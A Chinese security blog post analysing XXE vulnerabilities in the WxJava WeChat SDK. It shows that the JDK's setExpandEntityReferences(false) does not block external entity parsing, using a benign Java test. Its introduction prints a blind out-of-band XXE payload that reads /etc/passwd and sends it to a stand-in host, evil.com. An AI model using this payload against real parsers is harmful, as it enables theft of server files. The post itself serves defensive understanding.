修不好的洞，JDK的坑——从WxJava XXE注入漏洞中发现了一个对JDK的误会

事情缘起

前些日，开源社区流行的微信Java SDK爆出XXE注入漏洞，漏洞编号为： CVE-2019-5312 。在我分析漏洞时发现这个漏洞源自于一个未修好的漏洞： CVE-2018-20318 。在做这两个漏洞的补丁commit diff的时候发现CVE-2018-20318的修复方案是在创建DocumentBuilderFactory实例后对其做了 factory.setExpandEntityReferences(false) 的设置。CVE-2019-5312中又在下面增加了 factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) 的设置。这引起了我的好奇，深挖了一下，发现整个事情还比较有趣，于是想整理下，分享给大家。

啥是XXE注入

既然是有关XXE注入的漏洞，那么想读懂这篇文章就需要对XXE注入漏洞有所了解。在这里我推荐阅读 @gyyyy 大佬的文章： 《XXE注入漏洞概述》 ，文章中非常详细的介绍了XXE注入的基础知识、漏洞原理、挖掘思路、利用方式等等。我在本文中简单带过一下原理。

XML外部实体注入 （XML External Entity Injection） 是一种针对解析XML文档的应用程序的注入类型攻击。当恶意用户在提交一个精心构造的包含外部实体引用的XML文档给未正确配置的XML解析器处理时，该攻击就会发生。XXE注入可能造成敏感信息泄露、拒绝服务、SSRF、命令执行等危害。

XML实体又分为内部实体和外部实体，声明方式如下：

<!ENTITY name "value">

<!ENTITY name SYSTEM "URI"> <!ENTITY name PUBLIC "PUBLIC_ID" "URI">

外部实体声明中，分为 SYSTEM 和 PUBLIC ，前者表示私有资源 （但不一定是本机） ，后者表示公共资源。实体声明之后就可以在文本中进行引用了：

<foo>&xxe;</foo>

XXE注入较为常见的利用方式是基于OOB的任意文件读取 （盲注） ，利用方式如下：

<?xmlversion="1.0"encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % xxeSYSTEM "http://evil.com/xxeoobdetector.xml"> %xxe; ]> <foo/>

xxeoobdetector.xml

<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % def "<!ENTITY % send SYSTEM 'http://evil.com/?data=%file;'>"> %def; %send;

更多内容也可以参考 XML_External_Entity_(XXE)_Processing 。

XXE注入漏洞简要分析

以WxJava的XXE注入漏洞为例，漏洞发现者在项目Github仓库中提交 Github issue#903 ，并提供了 修复参考 。

先在github上进行 commit diff 对比：

可以看到作者使用的是JDK自带的XML解析器。在创建 DocumentBuilderFactory 类的实例之后进行了 setFeature 禁用DTD文档。

然后仿造issue中的描述初始化 WxPayOrderQueryResult 类实例，通过其父类的 setXmlString() 方法设置 xmlString ，然后调用此类实例的 toMap() 方法将xml文档转换为Map。在此调用了此类的 getXmlDoc() 方法。

进入 getXmlDoc() 方法中发现此处已经对 DocumentBuilderFactory 实例进行了 setExpandEntityReferences() 的设置，但经过测试，这里依然可以解析DTD文档和外部实体，触发漏洞。

节外生枝

本来这个漏洞分析到这里就可以结束了，但我看到了这个漏洞关联另一个issue： issue#889 ，发现其对应漏洞CVE-2018-20318，再次进行 commit diff 对比：

发现作者在解决CVE-2018-20318之前对 DocumentBuilderFactory 实例没有进行任何设置，直接解析XML文档。那么问题来了，为什么作者加上 factory.setExpandEntityReferences(false) 的设置漏洞仍然存在？是 factory.setExpandEntityReferences(false) 没有生效吗？作为开发出身的我，第一反应是查这段代码的注释和官方文档，开发过程中我们应该永远最相信官方的文档。

直接跟进这个方法定义的位置：

从代码注释翻译过来大概是 指定此代码生成的解析器将扩展实体引用节点。 默认情况下，此值为 true ，如果参数为 true ，解析器将扩展实体引用节点，否则设置为 false 。 官方文档 的解释与其一致，不再展示。

那么从这短短的一句话上分析， setExpandEntityReferences() 方法参数为 true 的时候，解析器会扩展外部实体，为 false 的时候不扩展，好像没毛病。我如果是开发看到了文档给出的解释也会这样改，那么问题到底在哪里？

寻坑之路

通过搜索发现，和我有同样疑问的人其实不少，首先我看到了两封疑似邮件记录的东西，第一封主题为 Disabling XML External Entites ，这个人恰好是想解决安全问题禁止外部实体解析，但发现了通过 setExpandEntityReferences() 并不能阻止XXE注入攻击，于是邮件提问，得到的回复如下：

第二封主题为

CVE-2014-0191 libxml2: external parameter entity

loaded when entity substitution is disabled这个人貌似是想写一篇全面的关于XXE注入的论文，但是它遇到了同样的问题，且提到了官方的描述非常的简短。他得到的回复如下：

在这个回复中甚至提到了OWASP的文档中都是需要更新和维护的。OWASP以前的文档不可考察了，现在OWASP中针对XXE注入防护的 Java 部分是这样的：

这里依然提到了 setExpandEntityReferences() ，并且提到了一篇2014年的论文 （好像和刚才发邮件的不是一个人:-D） 于是我又将 论文 翻出来，论文中提到的有关内容如下：

我们发现，这两个邮件的回复大意都是说这是设计如此的， setExpandEntityReferences(false) 和实体的解析是不冲突的， setExpandEntityReferences() 只告诉DocumentBuilder它是否应该在tree中包含EntityReference节点。

挖到这里，我大致明白了这个方法的作用， 此方法作于XML解析后生成的文档。设置为 true 则展开实体引用到生成的文档中替换掉 &xx 的实体引用声明，设置为 false 则保留实体引用声明的DOM树在生成的文档中 。

<!DOCTYPE foo [
    <!ENTITY xxe "test">
]>
<document> 
    <title>&xxe;</title> 
</document>

测试代码：

import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.EntityReference;
import org.w3c.dom.NodeList;

import javax.xml.parsers.DocumentBuilderFactory;
import java.io.ByteArrayInputStream;

public class Test {

    public static void main(String[] args) {
        String xmlStr=
                "<!DOCTYPE foo [\n" +
                "    <!ENTITY xxe \"test\">\n" +
                "]>\n" +
                "<document> \n" +
                        "    <title>&xxe;</title> \n" +
                        "</document> ";

        Document doc= getXmlDoc(xmlStr);
        Element e = (Element) doc.getElementsByTagName("title").item(0);
        final NodeList nl = e.getChildNodes();
        System.out.println("nl.item(0) instanceof EntityReference):" + (nl.item(0) instanceof EntityReference));
        System.out.println("nl.getLength():" + nl.getLength());

    }

    public static Document getXmlDoc(String xmlString) {
        try {
            final DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
            // Comment the code below to see the effect
            factory.setExpandEntityReferences(false);
            Document xmlDoc = factory.newDocumentBuilder()
                    .parse(new ByteArrayInputStream(xmlString.getBytes("UTF-8")));
            return xmlDoc;
        } catch (Exception e) {
            throw new RuntimeException(e);
        }

    }

}

设置 setExpandEntityReferences(true) ，观察变量 nl 的结构：

注意此时 nl 的长度为1，此时文档结构大致如下：

+- document
    +- title
    |  +- #text：test

输出如下：

设置 setExpandEntityReferences(false) ，观察变量 nl 的结构：

我们发现，此时的 nl 的长度为2， nl.item(0) 是一个name为 xxe 的 EntityReference 节点，它还有个兄弟节点，值为 test 。此时文档结构大致如下：

+- document
    +- title
    |  +- xxe
    |  +- #text：test

输出如下：

上面的例子证明了，无论如何设置 setExpandEntityReferences() ，外部文档都是已经解析完了的。因此无法防护XXE注入。

不过官方文档描述过于简单，实时也证明了通过官方文档对 setExpandEntityReferences() 的解释真的容易产生歧义。因此在开发者修复漏洞的时候还是要参考OWASP给出的参考建议 （我甚至觉得OWASP建议中的 setExpandEntityReferences(false) 都应该注释标明它不能防止XXE注入） ，不要太过于自信自己对文档的理解。修改后应及时测试。

官方认坑